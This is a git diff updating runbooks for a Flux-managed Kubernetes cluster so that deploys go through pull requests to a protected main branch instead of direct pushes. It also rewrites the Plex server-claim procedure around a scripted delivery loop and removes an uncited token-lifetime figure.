 ## First commands
 

runbooks/cnpg-exporter.md

@@ -71,8 +71,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cnpg-primary-spread.md

@@ -68,8 +68,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cnpg-wal-growth.md

@@ -61,8 +61,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/denied-flows.md

@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/flux-reconcile.md

@@ -7,7 +7,7 @@
 ## What this means here
 
 Something in the GitOps chain is stuck at Ready=False. On this cluster that is more consequential than
-it sounds, because **`git push origin main` IS the deploy** — there is no other apply step. A stuck
+it sounds, because **merging a PR into `main` IS the deploy** — there is no other apply step. A stuck
 Kustomization means git and the cluster have diverged and nothing will close the gap.
 
 The chain has **14 tiers**: `flux-system` → `cilium` → `platform` → `platform-config` →
@@ -61,8 +61,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/flux-suspended.md

@@ -58,8 +58,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/image-automation.md

@@ -53,8 +53,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/image-policy-stalled.md

@@ -53,8 +53,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/keycloak-client-secrets.md

@@ -87,8 +87,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/keycloak-db.md

@@ -67,8 +67,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/keycloak-down.md

@@ -59,8 +59,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/kubevirt-control-plane.md

@@ -57,8 +57,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/kubevirt-crashloop.md

@@ -53,8 +53,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/kubevirt-launch-failed.md

@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/kustomization.yaml

@@ -83,7 +83,7 @@ configMapGenerator:
       - node-memory-swap=node-memory-swap.md
       # Operator procedure, not an alert page (no alert links to it — the
       # alert-runbooks-resolvable check treats that as advisory). It is served
-      # because the 4-minute plex.tv claim window is not a thing to go looking
+      # because the plex.tv claim window is short and is not a thing to go looking
       # for in git: /runbooks/plex-claim has to resolve the moment it is needed.
       - plex-claim=plex-claim.md
       - pvc-capacity=pvc-capacity.md

runbooks/longhorn-capacity.md

@@ -83,8 +83,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/longhorn-degraded.md

@@ -74,8 +74,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/longhorn-faulted.md

@@ -75,8 +75,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/monitoring-capacity.md

@@ -52,8 +52,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/node-cpu.md

@@ -49,8 +49,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/node-disk.md

@@ -56,8 +56,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/node-down.md

@@ -56,8 +56,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/node-io.md

@@ -227,8 +227,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/node-memory.md

@@ -52,8 +52,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/plex-claim.md

@@ -1,4 +1,4 @@
-# plex-claim — claiming the Plex Media Server inside the 4-minute token window
+# plex-claim — claiming the Plex Media Server inside the token window
 
 **Alert:** none. This is an **operator procedure**, not an incident page — it is indexed here because
 it is the page you need at the moment you need it, with a stopwatch running.
@@ -14,10 +14,11 @@ server to a plex.tv account. It is a **one-shot** operation: the token is exchan
 the `PLEX_CLAIM` env is **ignored on every start** (upstream gate:
 `[ ! -z "${PLEX_CLAIM}" ] && [ -z "${token}" ]` in `root/etc/cont-init.d/40-plex-first-run`).
 
-**A `https://plex.tv/claim` token lives ~4 minutes.** That is shorter than commit → push → Flux's
-10-minute reconcile interval → pod roll if you let those run on their own timers, which is why this
-page exists: every step below is written to be run back-to-back, with the reconcile **forced** rather
-than waited for. Budget: token in hand at T+0, pod restarted by roughly T+2:00.
+**A `https://plex.tv/claim` token is short-lived — minutes, not hours.** Read the countdown the
+claim page shows you; do not budget against a number written here. That is shorter than PR → gate →
+merge → Flux's 10-minute reconcile interval → pod roll if you let those run on their own timers,
+which is why this page exists: the loop is scripted and the reconcile is **forced** rather than
+waited for. Measured end to end on 2026-09-29: **~2m45s**.
 
 **An expired or wrong token does not break anything.** Verified against the image's own first-run
 script (and the copy inside `plexinc/pms-docker:latest`): a failed exchange gets a 403 with an empty
@@ -66,81 +67,84 @@ infra/devcontainer/dev.sh run bash -c \
   'kubectl --context k3s-prod -n flux-system get kustomization apps-wave-0'
 ```
 
-## The 4-minute procedure
+## The procedure
 
-Have this page open and do not stop between steps.
+> **STATUS: this server was CLAIMED on 2026-09-29** and `PlexOnlineToken` is present in
+> `/config` on the `plex-config` PVC. The upstream exchange is gated on that pref being
+> *absent*, so `PLEX_CLAIM` is now a **no-op on every start** whatever it holds. You only need
+> this page again after a `/config` wipe or a rebuild onto an empty PVC.
+
+**On the clock.** The token is short-lived — **read the countdown that plex.tv/claim shows you**
+rather than trusting a number written here. (Earlier revisions of this page asserted a "~4-minute
+TTL" in four places with no citation; upstream `pms-docker` documents no expiry at all. The page
+is the only authority, and it is on screen at T+0.)
+
+**A burnt token costs nothing.** An expired token gets a 403 with an empty body, `curl`'s status is
+never checked, the `if` does not fire, there is no `else` and no `exit 1`, and the script (no
+`set -e`) exits 0. The pod comes up unclaimed and serving. So retry freely.
+
+### One command
 
 1. **T+0 — get the token.** Sign in to plex.tv as the account that should OWN this server, open
-   <https://plex.tv/claim>, copy the `claim-…` string. The clock starts now.
+   <https://plex.tv/claim>, copy the `claim-…` string.
 
-2. **T+0:15 — put it in the Secret**, in place, encrypted, without it ever touching a plaintext file:
+2. **Put it in the Secret** — in place, encrypted, never touching a plaintext file:
 
    ```
    infra/devcontainer/dev.sh run sops apps/wave-0/plex-claim-secret.sops.yaml
    ```
 
-   Replace the `PLEX_CLAIM:` value (the placeholder `replace-me-with-a-fresh-plex-tv-claim-token`, or
-   a previous expired token) and save. `sops` re-encrypts on write to the committed age recipient.
-
-3. **T+0:45 — commit and push.** `git push origin main` **is** the deploy; there is no other apply
-   step.
+3. **Ship it.** This drives the whole delivery loop and prints a running stopwatch:
 
    ```
-   git add apps/wave-0/plex-claim-secret.sops.yaml
-   git commit -m 'chore(plex): fresh plex.tv claim token'
-   git push origin main
+   ./infra/plex/claim-ship.sh
    ```
 
-4. **T+1:00 — force the reconcile immediately. This is the one command that saves the window** — it
-   pulls the new commit and re-applies wave 0 instead of waiting up to 10 minutes for the interval:
+   branch → commit → push → PR → gate → merge → `flux reconcile --with-source` → `rollout restart`
+   → verdict. It refuses to run if the file is unchanged or not encrypted.
 
-   ```
-   infra/devcontainer/dev.sh run bash -c \
-     'flux --context k3s-prod -n flux-system reconcile kustomization apps-wave-0 --with-source'
-   ```
+**Measured end to end, 2026-09-29: ~2m45s.** Gate ~1m40s, merge + reconcile ~25s, pod roll and
+container start ~30s.
 
-   `--with-source` is the load-bearing flag: it reconciles the `flux-system` GitRepository first, so
-   the Kustomization applies **your commit** and not the previously-fetched revision.
+### Why it is a script and not six pasted commands
 
-5. **T+1:30 — roll the pod.** This step is **mandatory and easy to forget**: a changed Secret does
-   **not** restart anything. `PLEX_CLAIM` is injected by `secretKeyRef` and read only at container
-   start, and the Deployment's pod template is byte-identical across this change, so Flux applies the
-   new Secret and the running pod keeps the old value forever.
+`main` is a **protected branch** — the direct push this page used to instruct is now rejected — so
+the deploy is a PR merged after a green gate. Three of those steps are easy to get wrong under time
+pressure, and two are silent when skipped:
 
-   ```
-   infra/devcontainer/dev.sh run bash -c \
-     'kubectl --context k3s-prod -n plex rollout restart deployment/plex'
-   ```
+- **`--with-source` is load-bearing.** Without it the Kustomization applies the previously-fetched
+  revision, not your commit.
+- **The pod roll is mandatory.** Only the Secret's ciphertext changes, so the Deployment's pod
+  template is byte-identical and *nothing restarts on its own*. `PLEX_CLAIM` is read once, at
+  container start. Skip this and the new Secret sits in the cluster while the running pod keeps the
+  old value forever.
+- **The branch is named `feat/…` on purpose.** `act_runner` capacity is 1, and `gate.yml`'s push
+  trigger covers `feature/** fix/** docs/** chore/**` but *not* `feat/**`. A `chore/` branch fires a
+  second redundant run that serialises ahead of the PR run and roughly doubles the wall clock.
 
-6. **T+2:00 — confirm the exchange happened**, in the new pod's init log:
+### Reading the verdict
 
-   ```
-   infra/devcontainer/dev.sh run bash -c \
-     'kubectl --context k3s-prod -n plex logs deploy/plex --since=5m | grep -i -e claim -e token'
-   ```
+* `Attempting to obtain server token from claim token` **and** `Token obtained successfully`
+  ⇒ **claimed.** Re-run the First-commands `PlexOnlineToken=` check to confirm it persisted, then
+  create the libraries over `/media/movies`, `/media/tv`, `/media/photos`.
+* `Attempting…` with **no** success line ⇒ the token was expired or invalid. Nothing is broken; go
+  back to step 1 with a new one.
+* **Neither line** ⇒ the exchange was skipped: `/config` already had a `PlexOnlineToken` (already
+  claimed — the expected case now), or the env did not reach the container. Check by NAME only:
 
-   * `Attempting to obtain server token from claim token` **and** `Token obtained successfully`
-     ⇒ **claimed.** Re-run the First-commands `PlexOnlineToken=` check to confirm it persisted, then
-     create the libraries over `/media/movies`, `/media/tv`, `/media/photos`.
-   * `Attempting to obtain server token from claim token` with **no** success line ⇒ the token was
-     expired or invalid. Nothing is broken; go back to step 1 with a new token.
-   * **Neither line** ⇒ the exchange was skipped, which means `/config` already had a
-     `PlexOnlineToken` (already claimed) or the env did not reach the container. Check the pod actually
-     has the variable, by NAME only:
-
-     ```
-     infra/devcontainer/dev.sh run bash -c \
-       'kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex \
-          -o jsonpath="{.items[0].spec.containers[0].env[*].name}"'
-     ```
+  ```
+  infra/devcontainer/dev.sh run bash -c \
+    'kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex \
+       -o jsonpath="{.items[0].spec.containers[0].env[*].name}"'
+  ```
 
 ## Likely causes, most likely first
 
 When the claim does not take, in order of how often it is the answer here:
 
-1. **The token expired** — you spent more than ~4 minutes, usually in step 3 or waiting on step 4.
-   Symptom: the "Attempting…" line with no success line. Remedy: a new token, and force the reconcile
-   rather than waiting for it.
+1. **The token expired** — you exceeded the countdown, usually by reviewing the PR instead of
+   merging it the moment the gate went green. Symptom: the "Attempting…" line with no success line.
+   Remedy: a new token, and let `claim-ship.sh` drive the loop rather than pasting steps.
 2. **The pod was never restarted** (step 5 skipped). Symptom: no claim log lines at all from a pod
    whose `AGE` predates your push. The Secret is correct in git and in the cluster and the running
    container still holds the placeholder.

runbooks/pvc-capacity.md

@@ -58,8 +58,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/targets-down.md

@@ -60,8 +60,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/update-rollback.md

@@ -54,8 +54,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/vpn-down.md

@@ -66,8 +66,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands